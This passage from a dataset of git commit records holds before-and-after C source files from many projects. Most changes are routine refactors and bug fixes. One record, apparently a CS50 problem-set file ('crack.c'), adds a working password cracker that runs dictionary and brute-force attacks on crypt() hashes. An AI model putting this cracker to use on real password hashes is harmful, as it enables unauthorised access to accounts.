client\n","lang":"C","license":"mit","repos":"Nakrez\/multi"}
{"commit":"91a97b288227ef863d327ab7aa0db1970114864e","old_file":"src\/api\/QmlComponentInfo.h","new_file":"src\/api\/QmlComponentInfo.h","old_contents":"\/****************************************************************************\n *\n *   (c) 2009-2016 QGROUNDCONTROL PROJECT <http:\/\/www.qgroundcontrol.org>\n *\n * QGroundControl is licensed according to the terms in the file\n * COPYING.md in the root of the source code directory.\n *\n ****************************************************************************\/\n\n#pragma once\n\n#include <QObject>\n#include <QUrl>\n\n\/\/\/ Represents a Qml component which can be loaded from a resource.\nclass QmlComponentInfo : public QObject\n{\n    Q_OBJECT\n\npublic:\n    QmlComponentInfo(QString title, QUrl url, QUrl icon = QUrl(), QObject* parent = NULL);\n\n    Q_PROPERTY(QString  title   READ title  CONSTANT)   \/\/\/< Title for page\n    Q_PROPERTY(QUrl     url     READ url    CONSTANT)   \/\/\/< Qml source code\n    Q_PROPERTY(QUrl     icon    READ icon   CONSTANT)   \/\/\/< Icon for page\n\n    virtual QString title   () { return _title; }\n    virtual QUrl    url     () { return _url;   }\n    virtual QUrl    icon    () { return _icon;  }\n\nprotected:\n    QString _title;\n    QUrl    _url;\n    QUrl    _icon;\n};\n","new_contents":"\/****************************************************************************\n *\n *   (c) 2009-2016 QGROUNDCONTROL PROJECT <http:\/\/www.qgroundcontrol.org>\n *\n * QGroundControl is licensed according to the terms in the file\n * COPYING.md in the root of the source code directory.\n *\n ****************************************************************************\/\n\n#pragma once\n\n#include <QObject>\n#include <QUrl>\n\n\/\/\/ Represents a Qml component which can be loaded from a resource.\nclass QmlComponentInfo : public QObject\n{\n    Q_OBJECT\n\npublic:\n    QmlComponentInfo(QString title, QUrl url, QUrl icon = QUrl(), QObject* parent = nullptr);\n\n    Q_PROPERTY(QString  title   READ title  CONSTANT)   \/\/\/< Title for page\n    Q_PROPERTY(QUrl     url     READ url    CONSTANT)   \/\/\/< Qml source code\n    Q_PROPERTY(QUrl     icon    READ icon   CONSTANT)   \/\/\/< Icon for page\n\n    virtual QString title   () { return _title; }\n    virtual QUrl    url     () { return _url;   }\n    virtual QUrl    icon    () { return _icon;  }\n\nprotected:\n    QString _title;\n    QUrl    _url;\n    QUrl    _icon;\n};\n","subject":"Change NULL or 0 to nullptr","message":"api: Change NULL or 0 to nullptr\n","lang":"C","license":"agpl-3.0","repos":"Hunter522\/qgroundcontrol,Hunter522\/qgroundcontrol,Hunter522\/qgroundcontrol,Hunter522\/qgroundcontrol,Hunter522\/qgroundcontrol,Hunter522\/qgroundcontrol"}
{"commit":"f55af7c049c00c39aecc38572ab18b7f11d88d40","old_file":"tests\/embedded\/do_test.c","new_file":"tests\/embedded\/do_test.c","old_contents":"#include <hwloc.h>\n#include <stdio.h>\n\n\/* The body of the test is in a separate .c file and a separate\n   library, just to ensure that hwloc didn't force compilation with\n   visibility flags enabled. *\/\n\nint do_test(void)\n{\n    mytest_hwloc_topology_t topology;\n    unsigned depth;\n    hwloc_cpuset_t cpu_set;\n\n    \/* Just call a bunch of functions to see if we can link and run *\/\n\n    printf(\"*** Test 1: cpuset alloc\\n\");\n    cpu_set = mytest_hwloc_cpuset_alloc();\n    if (NULL == cpu_set) return 1;\n    printf(\"*** Test 2: topology init\\n\");\n    if (0 != mytest_hwloc_topology_init(&topology)) return 1;\n    printf(\"*** Test 3: topology load\\n\");\n    if (0 != mytest_hwloc_topology_load(topology)) return 1;\n    printf(\"*** Test 4: topology get depth\\n\");\n    depth = mytest_hwloc_topology_get_depth(topology);\n    if (depth < 0) return 1;\n    printf(\"    Max depth: %u\\n\", depth);\n    printf(\"*** Test 5: topology destroy\\n\");\n    mytest_hwloc_topology_destroy(topology);\n    printf(\"*** Test 6: cpuset free\\n\");\n    mytest_hwloc_cpuset_free(cpu_set);\n\n    return 0;\n}\n","new_contents":"#include <hwloc.h>\n#include <stdio.h>\n\n\/* The body of the test is in a separate .c file and a separate\n   library, just to ensure that hwloc didn't force compilation with\n   visibility flags enabled. *\/\n\nint do_test(void)\n{\n    mytest_hwloc_topology_t topology;\n    unsigned depth;\n    hwloc_bitmap_t cpu_set;\n\n    \/* Just call a bunch of functions to see if we can link and run *\/\n\n    printf(\"*** Test 1: bitmap alloc\\n\");\n    cpu_set = mytest_hwloc_bitmap_alloc();\n    if (NULL == cpu_set) return 1;\n    printf(\"*** Test 2: topology init\\n\");\n    if (0 != mytest_hwloc_topology_init(&topology)) return 1;\n    printf(\"*** Test 3: topology load\\n\");\n    if (0 != mytest_hwloc_topology_load(topology)) return 1;\n    printf(\"*** Test 4: topology get depth\\n\");\n    depth = mytest_hwloc_topology_get_depth(topology);\n    if (depth < 0) return 1;\n    printf(\"    Max depth: %u\\n\", depth);\n    printf(\"*** Test 5: topology destroy\\n\");\n    mytest_hwloc_topology_destroy(topology);\n    printf(\"*** Test 6: bitmap free\\n\");\n    mytest_hwloc_bitmap_free(cpu_set);\n\n    return 0;\n}\n","subject":"Convert the embedded test to the bitmap API","message":"Convert the embedded test to the bitmap API\n\ngit-svn-id: bb34cd5123d2f821b9f934b050c449c8bfd5d5c1@2512 4b44e086-7f34-40ce-a3bd-00e031736276\n","lang":"C","license":"bsd-3-clause","repos":"BlueBrain\/hwloc,BlueBrain\/hwloc,BlueBrain\/hwloc,BlueBrain\/hwloc"}
{"commit":"dda47eadfe9158630eb41297bb1c0c1d7c6136d4","old_file":"You-DataStore\/internal\/operation.h","new_file":"You-DataStore\/internal\/operation.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATION_H_\n\n#include <unordered_map>\n#include \"..\/task_typedefs.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace Internal {\n\/\/\/ A pure virtual class of operations to be put into transaction stack\nclass IOperation {\npublic:\n\tvirtual ~IOperation();\n\t\/\/\/ Executes the operation\n\tvirtual bool run() = 0;\nprotected:\n\tTaskId taskId;\n\tSerializedTask task;\n};\n}  \/\/ namespace Internal\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATION_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATION_H_\n\n#include <unordered_map>\n#include \"..\/task_typedefs.h\"\n#include \"internal_datastore.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace Internal {\n\/\/\/ A pure virtual class of operations to be put into transaction stack\nclass IOperation {\npublic:\n\tvirtual ~IOperation();\n\t\/\/\/ Executes the operation\n\tvirtual bool run() = 0;\nprotected:\n\tTaskId taskId;\n\tSerializedTask task;\n};\n}  \/\/ namespace Internal\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATION_H_\n","subject":"Include InternalDataStore into Operation interface","message":"Include InternalDataStore into Operation interface\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"7c00fb727fd67a65044feb9d10a6b839602751cf","old_file":"src\/kms-media-handler-manager.c","new_file":"src\/kms-media-handler-manager.c","old_contents":"#include \"kms-media-handler-manager.h\"\n\nstatic void\nkms_media_handler_manager_base_init (gpointer g_class) {\n\tstatic gboolean is_initialized = FALSE;\n\n\tif (!is_initialized) {\n\t\t\/* add properties and signals to the interface here *\/\n\n\t\tis_initialized = TRUE;\n\t}\n}\n\nGType\nkms_media_handler_manager_get_type(void) {\n\tstatic GType iface_type = 0;\n\tif (iface_type == 0) {\n\t\tstatic const GTypeInfo info = {\n\t\t\tsizeof (KmsMediaHandlerManagerInterface),\n\t\t\tkms_media_handler_manager_base_init,   \/* base_init *\/\n\t\t\tNULL,   \/* base_finalize *\/\n\t\t};\n\n\t\tiface_type = g_type_register_static(G_TYPE_INTERFACE,\n\t\t\t\t\t\t\"KmsMediaHandlerManager\",\n\t\t\t\t\t\t&info, 0);\n\t}\n\n\treturn iface_type;\n}\n\nvoid\nkms_media_handler_manager_get_factory(KmsMediaHandlerManager *self) {\n\tg_return_if_fail(KMS_IS_MEDIA_HANDLER_MANAGER (self));\n\n\tKMS_MEDIA_HANDLER_MANAGER_GET_INTERFACE(self)->get_factory(self);\n}\n","new_contents":"#include \"kms-media-handler-manager.h\"\n\nstatic void\nkms_media_handler_manager_base_init (gpointer g_class) {\n\tstatic gboolean is_initialized = FALSE;\n\n\tif (!is_initialized) {\n\t\t\/* add properties and signals to the interface here *\/\n\n\t\tis_initialized = TRUE;\n\t}\n}\n\nGType\nkms_media_handler_manager_get_type(void) {\n\tstatic GType iface_type = 0;\n\tif (iface_type == 0) {\n\t\tstatic const GTypeInfo info = {\n\t\t\tsizeof (KmsMediaHandlerManagerInterface),\n\t\t\tkms_media_handler_manager_base_init,   \/* base_init *\/\n\t\t\tNULL,   \/* base_finalize *\/\n\t\t};\n\n\t\tiface_type = g_type_register_static(G_TYPE_INTERFACE,\n\t\t\t\t\t\t\"KmsMediaHandlerManager\",\n\t\t\t\t\t\t&info, 0);\n\t}\n\n\treturn iface_type;\n}\n\nKmsMediaHandlerFactory*\nkms_media_handler_manager_get_factory(KmsMediaHandlerManager *self) {\n\tKmsMediaHandlerManagerInterface *iface;\n\n\tg_return_if_fail(KMS_IS_MEDIA_HANDLER_MANAGER (self));\n\n\tiface = KMS_MEDIA_HANDLER_MANAGER_GET_INTERFACE(self);\n\n\tif (iface->get_factory != NULL)\n\t\tKMS_MEDIA_HANDLER_MANAGER_GET_INTERFACE(self)->get_factory(self);\n\telse {\n\t\tgchar *msg = g_strdup_printf(\n\t\t\t\t\"%s does not provide and implementation of \"\n\t\t\t\t\"get_factory method\", G_INTERFACE_NAME(iface));\n\t\tg_warn_message(G_LOG_DOMAIN, __FILE__, __LINE__, G_STRFUNC, msg);\n\t\tg_free(msg);\n\t}\n}\n","subject":"Check if the interface method is not null before using it","message":"Check if the interface method is not null before using it\n","lang":"C","license":"apache-2.0","repos":"Kurento\/kurento-media-server,shelsonjava\/kurento-media-server,lulufei\/kurento-media-server,lulufei\/kurento-media-server,TribeMedia\/kurento-media-server,Kurento\/kurento-media-server,mparis\/kurento-media-server,todotobe1\/kurento-media-server,mparis\/kurento-media-server,TribeMedia\/kurento-media-server,todotobe1\/kurento-media-server,shelsonjava\/kurento-media-server"}
{"commit":"d8f8412f90baf469c70b1da6903b853d83a14293","old_file":"PhotoWheel\/FlickrViewController.h","new_file":"PhotoWheel\/FlickrViewController.h","old_contents":"\/\/\n\/\/  FlickrViewController.h\n\/\/  PhotoWheel\n\/\/\n\/\/  Created by Kirby Turner on 12\/16\/12.\n\/\/  Copyright (c) 2012 White Peak Software Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class PhotoAlbum;\n\n@interface FlickrViewController : UIViewController <UICollectionViewDataSource, UICollectionViewDelegate, UISearchBarDelegate>\n\n@property (nonatomic, strong) IBOutlet UICollectionView *collectionView;\n@property (nonatomic, strong) IBOutlet UIView *overlayView;\n@property (nonatomic, strong) IBOutlet UISearchBar *searchBar;\n@property (nonatomic, strong) IBOutlet UIActivityIndicatorView *activityIndicator;\n@property (nonatomic, strong) PhotoAlbum *photoAlbum;\n\n- (IBAction)save:(id)sender;\n- (IBAction)cancel:(id)sender;\n\n@end\n","new_contents":"\/\/\n\/\/  FlickrViewController.h\n\/\/  PhotoWheel\n\/\/\n\/\/  Created by Kirby Turner on 12\/16\/12.\n\/\/  Copyright (c) 2012 White Peak Software Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class PhotoAlbum;\n\n@interface FlickrViewController : UIViewController <UICollectionViewDataSource, UICollectionViewDelegate, UISearchBarDelegate>\n\n@property (nonatomic, weak) IBOutlet UICollectionView *collectionView;\n@property (nonatomic, weak) IBOutlet UIView *overlayView;\n@property (nonatomic, weak) IBOutlet UISearchBar *searchBar;\n@property (nonatomic, weak) IBOutlet UIActivityIndicatorView *activityIndicator;\n@property (nonatomic, strong) PhotoAlbum *photoAlbum;\n\n- (IBAction)save:(id)sender;\n- (IBAction)cancel:(id)sender;\n\n@end\n","subject":"Change outlets from strong to weak references.","message":"Change outlets from strong to weak references.\n","lang":"C","license":"mit","repos":"kirbyt\/PhotoWheel,kirbyt\/PhotoWheel"}
{"commit":"96235e550e366f1a494061b147899f0a26ead3e2","old_file":"hacker2\/crack.c","new_file":"hacker2\/crack.c","old_contents":"","new_contents":"#define _XOPEN_SOURCE\n\n#include <cs50.h>\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n\nbool dictionaryAttack(string ciphertext);\nbool bruteForceAttack(string ciphertext);\nbool next(char* word, int n);\n\nint main(int argc, string argv[])\n{\n    if (argc != 2) {\n        printf(\"Usage: .\/crack ciphertext\\n\");\n        return 1;\n    }\n\n    if (dictionaryAttack(argv[1]))\n        printf(\"Password cracked successfully via dictionary attack.\\n\");\n    else if (bruteForceAttack(argv[1]))\n        printf(\"Password cracked successfully via brute force attack.\\n\");\n    else\n        printf(\"Unable to crack password.\\n\");\n}\n\nbool dictionaryAttack(string ciphertext)\n{\n    printf(\"Dictionary attack initiated.\\n\");\n\n    char word[128];\n    char salt[2];\n    strncpy(salt, ciphertext, 2);\n    FILE *wordlist = fopen(\"\/usr\/share\/dict\/words\", \"r\");\n\n    while (fgets(word, 128, wordlist)) {    \n        \/\/ fgets reads new line characters, and we don't want those\n        word[strlen(word) - 1] = '\\0';\n        \n        if (!strcmp(crypt(word, salt), ciphertext)) {\n            printf(\"Password found: %s\\n\", word);\n            return true;\n        }\n    }\n\n    fclose(wordlist);\n\n    printf(\"Dictionary attack failed.\\n\");\n\n    return false;\n}\n\nbool bruteForceAttack(string ciphertext)\n{\n    printf(\"Brute force attack initiated.\\n\");\n\n    char salt[2];\n    strncpy(salt, ciphertext, 2);\n\n    for (int length = 1; length <= 8; length++) {\n        printf(\"Trying passwords of length %d...\\n\", length);\n\n        char* word = calloc(length + 1, sizeof(char));\n\n        do {\n            if (!strcmp(crypt(word, salt), ciphertext)) {\n                printf(\"Password found: %s\\n\", word);\n                return true;\n            }\n        } while (next(word, length));\n    }\n\n    printf(\"Brute force attack failed.\\n\");\n\n    return false;\n}\n\nbool next(char* word, int length)\n{\n    for (int i = length - 1; i >= 0; i--)\n        if (word[i] < 127) {\n            word[i]++;\n            for (int j = i+1; j < length; j++)\n                word[j] = 0;\n            return true;\n        }\n\n    return false;\n}\n","subject":"Add source file for Problem Set 2 (Hacker Edition)","message":"Add source file for Problem Set 2 (Hacker Edition)\n","lang":"C","license":"mit","repos":"juampi\/cs50,juampi\/cs50"}
{"commit":"76698748d645a1dd73589313405e2aefcdba5d90","old_file":"include\/nmlib.h","new_file":"include\/nmlib.h","old_contents":"\/\/ All-in-one header of nmlib\n\n\n#ifndef NMLIB_H\n#define NMLIB_H\n\n\n#include \"chrono.h\"\n#include \"diff.h\"\n#include \"fft.h\"\n#include \"integral.h\"\n#include \"io.h\"\n#include \"kalman.h\"\n#include \"lp.h\"\n#include \"matrix.h\"\n#include \"matrix_decomp.h\"\n#include \"optimization.h\"\n#include \"polynomial.h\"\n#include \"random.h\"\n#include \"robot.h\"\n#include \"route.h\"\n#include \"solver.h\"\n#include \"sparse.h\"\n#include \"spline.h\"\n#include \"stat.h\"\n\n#ifdef NMLIB_DISABLE_NAMESPACE\nusing namespace nmlib;\n#endif\n\n\n#endif \/\/NMLIB_H\n","new_contents":"\/\/ All-in-one header of nmlib\n\n\n#ifndef NMLIB_H\n#define NMLIB_H\n\n\n#include \"chrono.h\"\n#include \"diff.h\"\n#include \"fft.h\"\n#include \"integral.h\"\n#include \"io.h\"\n#include \"kalman.h\"\n#include \"lp.h\"\n#include \"matrix.h\"\n#include \"matrix_decomp.h\"\n#include \"ode.h\"\n#include \"optimization.h\"\n#include \"polynomial.h\"\n#include \"random.h\"\n#include \"robot.h\"\n#include \"route.h\"\n#include \"solver.h\"\n#include \"sparse.h\"\n#include \"spline.h\"\n#include \"stat.h\"\n\n#ifdef NMLIB_DISABLE_NAMESPACE\nusing namespace nmlib;\n#endif\n\n\n#endif \/\/NMLIB_H\n","subject":"Update all-in-one header (add ode.h)","message":"Update all-in-one header (add ode.h)\n","lang":"C","license":"mit","repos":"nmakimoto\/nmlib,nmakimoto\/nmlib"}
{"commit":"eb6f58307e488a8468c725af20cd482d62b37136","old_file":"Pod\/Classes\/TTRangeSliderDelegate.h","new_file":"Pod\/Classes\/TTRangeSliderDelegate.h","old_contents":"\/\/\n\/\/  YLRangeSliderViewDelegate.h\n\/\/  FantasyRealFootball\n\/\/\n\/\/  Created by Tom Thorpe on 16\/04\/2014.\n\/\/  Copyright (c) 2014 Yahoo inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n@class TTRangeSlider;\n\n@protocol TTRangeSliderDelegate <NSObject>\n\n-(void)rangeSlider:(TTRangeSlider *)sender didChangeSelectedMinimumValue:(float)selectedMinimum andMaximumValue:(float)selectedMaximum;\n\n@optional\n\n- (void)didEndTouchesInRangeSlider:(TTRangeSlider *)sender;\n\n@end\n","new_contents":"\/\/\n\/\/  YLRangeSliderViewDelegate.h\n\/\/  FantasyRealFootball\n\/\/\n\/\/  Created by Tom Thorpe on 16\/04\/2014.\n\/\/  Copyright (c) 2014 Yahoo inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n@class TTRangeSlider;\n\n@protocol TTRangeSliderDelegate <NSObject>\n\n\/**\n * Called when the RangeSlider values are changed\n *\/\n-(void)rangeSlider:(TTRangeSlider *)sender didChangeSelectedMinimumValue:(float)selectedMinimum andMaximumValue:(float)selectedMaximum;\n\n@optional\n\n\/**\n * Called when the user has finished interacting with the RangeSlider\n *\/\n- (void)didEndTouchesInRangeSlider:(TTRangeSlider *)sender;\n\n@end\n","subject":"Comment on didEndTouchesInRangeSlider and other delegate method","message":"Comment on didEndTouchesInRangeSlider and other delegate method\n\nAdding a comment on didEndTouchesInRangeSlider and the other didChange... method to explain it's purpose (fairly explanatory names anyway, but just for completeness)","lang":"C","license":"mit","repos":"TomThorpe\/TTRangeSlider"}
{"commit":"cb562a87d85965b9e3ed9db86c7af036db7ee485","old_file":"main.c","new_file":"main.c","old_contents":"\/* The contents of this file is in the public domain. *\/\n#include <ipify.h>\n\nint main(void)\n{\n\tchar addr[256];\n#if 0\n\tint sd;\n\n\tsd = ipify_connect();\n\tif (sd < 0)\n\t\treturn 1;\n\n\tif (!ipify_query(sd, addr, sizeof(addr)))\n\t\tprintf(\"%s\\n\", addr);\n\n\treturn ipify_disconnect(sd);\n#else\n\tif (ipify(addr, sizeof(addr)))\n\t\treturn 1;\n\n\tprintf(\"%s\\n\", addr);\n\treturn 0;\n#endif\n}\n","new_contents":"\/* The contents of this file is in the public domain. *\/\n#include <ipify.h>\n\nint main(void)\n{\n\tchar addr[256];\n\tint sd;\n\n\tsd = ipify_connect();\n\tif (sd < 0)\n\t\treturn 1;\n\n\tif (!ipify_query(sd, addr, sizeof(addr)))\n\t\tprintf(\"%s\\n\", addr);\n\n\treturn ipify_disconnect(sd);\n}\n","subject":"Drop ifdefs in favor of more comprehensive code","message":"Drop ifdefs in favor of more comprehensive code\n\nSigned-off-by: Joachim Wiberg <583c295fd7602c168ad814279bbc3894ba65f5d6@gmail.com>\n","lang":"C","license":"isc","repos":"troglobit\/lipify"}
{"commit":"a56195292bc9d68da9b496b253411df2cac40500","old_file":"021.calling_c\/c_code.c","new_file":"021.calling_c\/c_code.c","old_contents":"void \nPokeBitplanePointers(unsigned short* copper, unsigned char* bitplanes, unsigned offset, unsigned numBitplanes, unsigned screenWidthBytes)\n{\n  int i;\n  copper += offset;\n\n  for (i = 0; i < numBitplanes; i++) {\n    *(copper+1) = (unsigned)bitplanes;\n    *(copper+3) = ((unsigned)bitplanes >> 16);\n    bitplanes += screenWidthBytes;\n    copper += 4;\n  } \n}\n\nstatic unsigned short _copperData;\nstatic unsigned char _bitplaneData;\n\nvoid\nTestCall()\n{\n  PokeBitplanePointers(&_copperData, &_bitplaneData, 3, 4, 5);\n}\n","new_contents":"typedef union {\n  unsigned char* ptr;\n  unsigned short word[2];\n} word_extract_t;\n\nvoid \nPokeBitplanePointers(unsigned short* copper, unsigned char* bitplanes, unsigned offset, unsigned numBitplanes, unsigned screenWidthBytes)\n{\n  int i;\n  copper += offset;\n\n  for (i = 0; i < numBitplanes; i++) {\n    word_extract_t extract;\n    extract.ptr = bitplanes;\n    *(copper+1) = extract.word[1];\n    *(copper+3) = extract.word[0];\n    bitplanes += screenWidthBytes;\n    copper += 4;\n  } \n}\n\nstatic unsigned short _copperData;\nstatic unsigned char _bitplaneData;\n\nvoid\nTestCall()\n{\n  PokeBitplanePointers(&_copperData, &_bitplaneData, 3, 4, 5);\n}\n","subject":"Make C example more C, less asm","message":"Make C example more C, less asm\n","lang":"C","license":"bsd-2-clause","repos":"alpine9000\/amiga_examples,alpine9000\/amiga_examples,alpine9000\/amiga_examples"}
{"commit":"3c7420fe27927849cd53452fefde7bfff0cec30b","old_file":"debug.h","new_file":"debug.h","old_contents":"\n\/**\n * `debug.h' - debug.c\n *\n * copyright (c) 2014 joseph werle <joseph.werle@gmail.com>\n *\/\n\n#ifndef DEBUG_H\n#define DEBUG_H 1\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <stdarg.h>\n\n#define DEBUG_MAX_BUFFER 1024\n\n\/**\n * Debug function type\n *\/\n\ntypedef void (* debug_t) (const char *, ...);\n\n\/**\n * Initialize a debug function\n *\/\n\n#define debug_init(name)                                                       \\\n  void _debug_ ## name (const char *fmt, ...) {                                \\\n    if (!debug_enabled(#name)) { return; }                                     \\\n    char buf[DEBUG_MAX_BUFFER];                                                \\\n    va_list args;                                                              \\\n    va_start(args, fmt);                                                       \\\n    vsprintf(buf, fmt, args);                                                  \\\n    printf(#name \" - %s\\n\", buf);                                              \\\n    va_end(args);                                                              \\\n  }                                                                            \\\n\n\/**\n * Return a named debug function\n *\/\n\n#define debug_get(name) (debug_t) ( _debug_ ## name)\n\n\/**\n * Returns `1' if a function is enabled\n * else `0'\n *\/\n\nint\ndebug_enabled (const char *);\n\n#endif\n","new_contents":"\n\/**\n * `debug.h' - debug.c\n *\n * copyright (c) 2014 joseph werle <joseph.werle@gmail.com>\n *\/\n\n#ifndef DEBUG_H\n#define DEBUG_H 1\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <stdarg.h>\n\n\/**\n * Debug function type\n *\/\n\ntypedef void (* debug_t) (const char *, ...);\n\n\/**\n * Initialize a debug function\n *\/\n\n#define debug_init(name)                                                      \\\n  void _debug_ ## name (const char *fmt, ...) {                               \\\n    if (!debug_enabled(#name)) { return; }                                    \\\n    char *buf = NULL;                                                         \\\n    va_list args;                                                             \\\n    va_start(args, fmt);                                                      \\\n    vasprintf(&buf, fmt, args);                                               \\\n    printf(#name \" - %s\\n\", buf);                                             \\\n    va_end(args);                                                             \\\n    free(buf);                                                                \\\n  }                                                                           \\\n\n\/**\n * Return a named debug function\n *\/\n\n#define debug_get(name) (debug_t) ( _debug_ ## name)\n\n\/**\n * Returns `1' if a function is enabled\n * else `0'\n *\/\n\nint\ndebug_enabled (const char *);\n\n#endif\n","subject":"Fix possible memory overflow and remove DEBUG_MAX_BUFFER","message":"Fix possible memory overflow and remove DEBUG_MAX_BUFFER\n","lang":"C","license":"mit","repos":"clibs\/debug"}
{"commit":"cabe5c6e4b05460cc8320f96197a1246b555ea76","old_file":"hello.c","new_file":"hello.c","old_contents":"\/*\n * hello.c - Say hello to the world.\n * Susumu Ishihara 2015\/4\/12\n *\/\n\n#include <stdio.h>\n\nint main() {\n    printf(\"Hello world.\\n.\");\n    printf(\"Hello susumu.\\n\");\n\n    printf(\"Added new branch.\\n\");\n    return 0;\n}\n","new_contents":"\/*\n * hello.c - Say hello to the world.\n * Susumu Ishihara 2015\/4\/12\n *\/\n\n#include <stdio.h>\n\nint main() {\n    printf(\"Hello world.\\n.\");\n    printf(\"Hello susumu.\\n\");\n\n    printf(\"Added new branch.\\n\");\n    printf(\"Hello universe.\\n\");\n    return 0;\n}\n","subject":"Make it say \"Hello universe.\"","message":"Make it say \"Hello universe.\"\n","lang":"C","license":"mit","repos":"ishihara-su\/firsttest"}
{"commit":"1e4c33a677ba085bbbbfff211719ae4bb571c5b1","old_file":"test\/Sema\/format-strings-scanf.c","new_file":"test\/Sema\/format-strings-scanf.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -verify -Wformat-nonliteral %s\n\ntypedef __typeof(sizeof(int)) size_t;\ntypedef struct _FILE FILE;\n\nint fscanf(FILE * restrict, const char * restrict, ...) ;\nint scanf(const char * restrict, ...) ;\nint sscanf(const char * restrict, const char * restrict, ...) ;\n\nvoid test(const char *s, int *i) {\n  scanf(s, i); \/\/ expected-warning{{ormat string is not a string literal}}\n  scanf(\"%0d\", i); \/\/ expected-warning{{conversion specifies 0 input characters for field width}}\n  scanf(\"%00d\", i); \/\/ expected-warning{{conversion specifies 0 input characters for field width}}\n}\n","subject":"Add initial test cases for scanf format string checking.","message":"Add initial test cases for scanf format string checking.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@108503 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"c14b63a0b916969d4bd1cdaa0e58a7761edeab74","old_file":"lib\/libc\/sparc64\/gen\/fpsetmask.c","new_file":"lib\/libc\/sparc64\/gen\/fpsetmask.c","old_contents":"\/*\n * Written by J.T. Conklin, Apr 10, 1995\n * Public domain.\n *\/\n\n#include <sys\/cdefs.h>\n__FBSDID(\"$FreeBSD$\");\n\n#include <ieeefp.h>\n\nfp_except_t\nfpsetmask(mask)\n\tfp_except_t mask;\n{\n\tfp_except_t old;\n\tfp_except_t new;\n\n\t__asm__(\"st %%fsr,%0\" : \"=m\" (*&old));\n\n\tnew = old;\n\tnew &= ~(0x1f << 23); \n\tnew |= ((mask & 0x1f) << 23);\n\n\t__asm__(\"ld %0,%%fsr\" : : \"m\" (*&new));\n\n\treturn (old >> 23) & 0x1f;\n}\n","new_contents":"\/*\n * Written by J.T. Conklin, Apr 10, 1995\n * Public domain.\n *\/\n\n#include <sys\/cdefs.h>\n__FBSDID(\"$FreeBSD$\");\n\n#include <machine\/fsr.h>\n#include <ieeefp.h>\n\nfp_except_t\nfpsetmask(mask)\n\tfp_except_t mask;\n{\n\tfp_except_t old;\n\tfp_except_t new;\n\n\t__asm__(\"st %%fsr,%0\" : \"=m\" (old));\n\n\tnew = old;\n\tnew &= ~FSR_TEM_MASK;\n\tnew |= FSR_TEM(mask & FSR_EXC_MASK);\n\n\t__asm__(\"ld %0,%%fsr\" : : \"m\" (new));\n\n\treturn (FSR_GET_TEM(old));\n}\n","subject":"Use the macros from machine\/fsr.h; some minor cleanups.","message":"Use the macros from machine\/fsr.h; some minor cleanups.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"adee120a170ac38009f875d4819f89be5eac9198","old_file":"src\/lib\/llist.h","new_file":"src\/lib\/llist.h","old_contents":"#ifndef LLIST_H\n#define LLIST_H\n\n\/* Doubly linked list *\/\n#define DLLIST_PREPEND(list, item) STMT_START { \\\n\t(item)->prev = NULL; \\\n\t(item)->next = *(list); \\\n\tif (*(list) != NULL) (*(list))->prev = (item); \\\n\t*(list) = (item); \\\n\t} STMT_END\n\n#define DLLIST_REMOVE(list, item) STMT_START { \\\n\tif ((item)->prev == NULL) \\\n\t\t*(list) = (item)->next; \\\n\telse \\\n\t\t(item)->prev->next = (item)->next; \\\n\tif ((item)->next != NULL) \\\n\t\t(item)->next->prev = (item)->prev; \\\n\t} STMT_END\n\n#endif\n","new_contents":"#ifndef LLIST_H\n#define LLIST_H\n\n\/* Doubly linked list *\/\n#define DLLIST_PREPEND(list, item) STMT_START { \\\n\t(item)->prev = NULL; \\\n\t(item)->next = *(list); \\\n\tif (*(list) != NULL) (*(list))->prev = (item); \\\n\t*(list) = (item); \\\n\t} STMT_END\n\n#define DLLIST_REMOVE(list, item) STMT_START { \\\n\tif ((item)->prev == NULL) \\\n\t\t*(list) = (item)->next; \\\n\telse \\\n\t\t(item)->prev->next = (item)->next; \\\n\tif ((item)->next != NULL) { \\\n\t\t(item)->next->prev = (item)->prev; \\\n\t\t(item)->next = NULL; \\\n\t} \\\n\t(item)->prev = NULL; \\\n\t} STMT_END\n\n#endif\n","subject":"Set removed item's prev\/next pointers to NULL.","message":"DLLIST_REMOVE(): Set removed item's prev\/next pointers to NULL.\n","lang":"C","license":"mit","repos":"Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot"}
